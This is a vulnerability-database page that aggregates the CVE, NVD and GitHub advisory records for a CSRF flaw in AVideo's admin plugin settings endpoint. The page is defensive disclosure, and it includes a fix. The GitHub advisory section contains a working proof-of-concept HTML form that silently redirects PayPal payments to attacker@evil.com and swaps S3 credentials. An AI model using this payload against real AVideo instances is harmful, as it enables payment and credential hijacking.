Vulnerability-Lookup

CVE-2026-34394 (GCVE-0-2026-34394)

Vulnerability from cvelistv5 – Published: 2026-03-31 20:39 – Updated: 2026-04-01 13:40

Title

AVideo: CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking

Summary

WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34394",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-01T13:40:07.414516Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-01T13:40:10.738Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T20:39:45.781Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
        }
      ],
      "source": {
        "advisory": "GHSA-4wwr-7h7c-chqr",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo: CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34394",
    "datePublished": "2026-03-31T20:39:45.781Z",
    "dateReserved": "2026-03-27T13:45:29.619Z",
    "dateUpdated": "2026-04-01T13:40:10.738Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-34394",
      "date": "2026-07-26",
      "epss": "0.00233",
      "percentile": "0.14342"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34394\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-31T21:16:30.660\",\"lastModified\":\"2026-07-24T20:10:00.147\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches.\"},{\"lang\":\"es\",\"value\":\"WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En las versiones 26.0 y anteriores, el endpoint de configuraci\u00f3n del plugin de administraci\u00f3n de AVideo (admin/save.json.php) carece de cualquier validaci\u00f3n de token CSRF. No hay ninguna llamada a isGlobalTokenValid() o verifyToken() antes de procesar la solicitud. Combinado con la pol\u00edtica de cookie expl\u00edcita SameSite=None de la aplicaci\u00f3n, un atacante puede forjar solicitudes POST de origen cruzado desde una p\u00e1gina maliciosa para sobrescribir configuraciones arbitrarias de plugins en la sesi\u00f3n de un administrador v\u00edctima. Debido a que la tabla de plugins est\u00e1 incluida en el array ignoreTableSecurityCheck() en objects/Object.php, los controles de acceso est\u00e1ndar a nivel de tabla tambi\u00e9n son eludidos. Esto permite una toma de control completa de la funcionalidad de la plataforma reconfigurando procesadores de pago, proveedores de autenticaci\u00f3n, credenciales de almacenamiento en la nube y m\u00e1s. En el momento de la publicaci\u00f3n, no hay parches disponibles p\u00fablicamente.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"WWBN\",\"product\":\"AVideo\",\"versions\":[{\"version\":\"\u003c= 26.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N\",\"baseScore\":8.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":5.2}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-04-01T13:40:07.414516Z\",\"id\":\"CVE-2026-34394\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-352\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"26.0\",\"matchCriteriaId\":\"774C24F1-9D26-484F-B931-1DA107C8F588\"}]}]}],\"references\":[{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "redhat_vex": {
      "current_release_date": "2026-04-01T23:00:26+00:00",
      "cve": "CVE-2026-34394",
      "id": "CVE-2026-34394",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "AVideo: CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34394.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34394\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-01T13:40:07.414516Z\"}}}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-01T13:39:57.867Z\"}}], \"cna\": {\"title\": \"AVideo: CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking\", \"source\": {\"advisory\": \"GHSA-4wwr-7h7c-chqr\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.1, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"WWBN\", \"product\": \"AVideo\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c= 26.0\"}]}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr\", \"name\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-352\", \"description\": \"CWE-352: Cross-Site Request Forgery (CSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-31T20:39:45.781Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34394\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-01T13:40:10.738Z\", \"dateReserved\": \"2026-03-27T13:45:29.619Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-31T20:39:45.781Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-34394

Vulnerability from fkie_nvd - Published: 2026-03-31 21:16 - Updated: 2026-06-17 10:39

Severity

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo\u0027s admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session. Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. At time of publication, there are no publicly available patches."
    }
  ],
  "id": "CVE-2026-34394",
  "lastModified": "2026-06-17T10:39:00.397",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-34394",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-01T13:40:07.414516Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-31T21:16:30.660",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4WWR-7H7C-CHQR

Vulnerability from github – Published: 2026-03-31 23:15 – Updated: 2026-03-31 23:15

Summary

AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking

Details

Summary

AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.

Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.

Details

The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:

// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');

This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.

The save endpoint in admin/save.json.php directly processes POST data without any token verification:

// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();

The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:

// objects/Object.php:529
static function ignoreTableSecurityCheck() {
    return ['plugins', /* ... other tables ... */];
}

Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.

Proof of Concept

Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="PayPerView" />
    <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" />
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

To overwrite S3 storage credentials instead:

<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="AWS_S3" />
    <input type="hidden" name="region" value="us-east-1" />
    <input type="hidden" name="bucket" value="attacker-bucket" />
    <input type="hidden" name="key" value="ATTACKER_KEY_ID" />
    <input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>

Reproduction steps:

Log in to AVideo as an administrator.
In a separate browser tab, open the attacker's HTML page.
The form auto-submits, overwriting the target plugin configuration.
Verify the change by navigating to the plugin settings page in the admin panel.

Impact

An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:

Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
Backdoor installation: Enable and configure plugins to introduce persistent access.

This is a full platform takeover with zero user interaction beyond a single page visit.

CWE: CWE-352 (Cross-Site Request Forgery)

Recommended Fix

Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:

// admin/save.json.php:10
if (!isGlobalTokenValid()) {
    die('{"error":"Invalid CSRF token"}');
}

Found by aisafe.io

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:15:25Z",
    "nvd_published_at": "2026-03-31T21:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAVideo\u0027s admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application\u0027s explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator\u0027s session.\n\nBecause the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.\n\n## Details\n\nThe session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:\n\n```php\n// objects/include_config.php:135\nini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n```\n\nThis means cookies are attached to all cross-origin requests, making CSRF attacks trivial.\n\nThe save endpoint in `admin/save.json.php` directly processes POST data without any token verification:\n\n```php\n// admin/save.json.php\n$pluginName = $_POST[\u0027pluginName\u0027];\n$pluginValues = $_POST;\n// ...\n$pluginDO-\u003e$key = $pluginValues[$key];\n$p-\u003esetObject_data(json_encode($pluginDO));\n$p-\u003esave();\n```\n\nThe `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:\n\n```php\n// objects/Object.php:529\nstatic function ignoreTableSecurityCheck() {\n    return [\u0027plugins\u0027, /* ... other tables ... */];\n}\n```\n\nEven the ORM-level protections that exist for other tables do not apply to plugin configuration writes.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker\u0027s address:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eLoading...\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003cform id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n    \u003cinput type=\"hidden\" name=\"pluginName\" value=\"PayPerView\" /\u003e\n    \u003cinput type=\"hidden\" name=\"paypalReceiverEmail\" value=\"attacker@evil.com\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003e\n    document.getElementById(\u0027csrf\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nTo overwrite S3 storage credentials instead:\n\n```html\n\u003cform id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\"\u003e\n    \u003cinput type=\"hidden\" name=\"pluginName\" value=\"AWS_S3\" /\u003e\n    \u003cinput type=\"hidden\" name=\"region\" value=\"us-east-1\" /\u003e\n    \u003cinput type=\"hidden\" name=\"bucket\" value=\"attacker-bucket\" /\u003e\n    \u003cinput type=\"hidden\" name=\"key\" value=\"ATTACKER_KEY_ID\" /\u003e\n    \u003cinput type=\"hidden\" name=\"secret\" value=\"ATTACKER_SECRET\" /\u003e\n\u003c/form\u003e\n```\n\nReproduction steps:\n\n1. Log in to AVideo as an administrator.\n2. In a separate browser tab, open the attacker\u0027s HTML page.\n3. The form auto-submits, overwriting the target plugin configuration.\n4. Verify the change by navigating to the plugin settings page in the admin panel.\n\n## Impact\n\nAn attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:\n\n- **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.\n- **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.\n- **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.\n- **Backdoor installation**: Enable and configure plugins to introduce persistent access.\n\nThis is a full platform takeover with zero user interaction beyond a single page visit.\n\n- **CWE**: CWE-352 (Cross-Site Request Forgery)\n\n## Recommended Fix\n\nAdd CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:\n\n```php\n// admin/save.json.php:10\nif (!isGlobalTokenValid()) {\n    die(\u0027{\"error\":\"Invalid CSRF token\"}\u0027);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-4wwr-7h7c-chqr",
  "modified": "2026-03-31T23:15:25Z",
  "published": "2026-03-31T23:15:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34394"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo\u0027s CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-34394 (GCVE-0-2026-34394)

FKIE_CVE-2026-34394

GHSA-4WWR-7H7C-CHQR

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature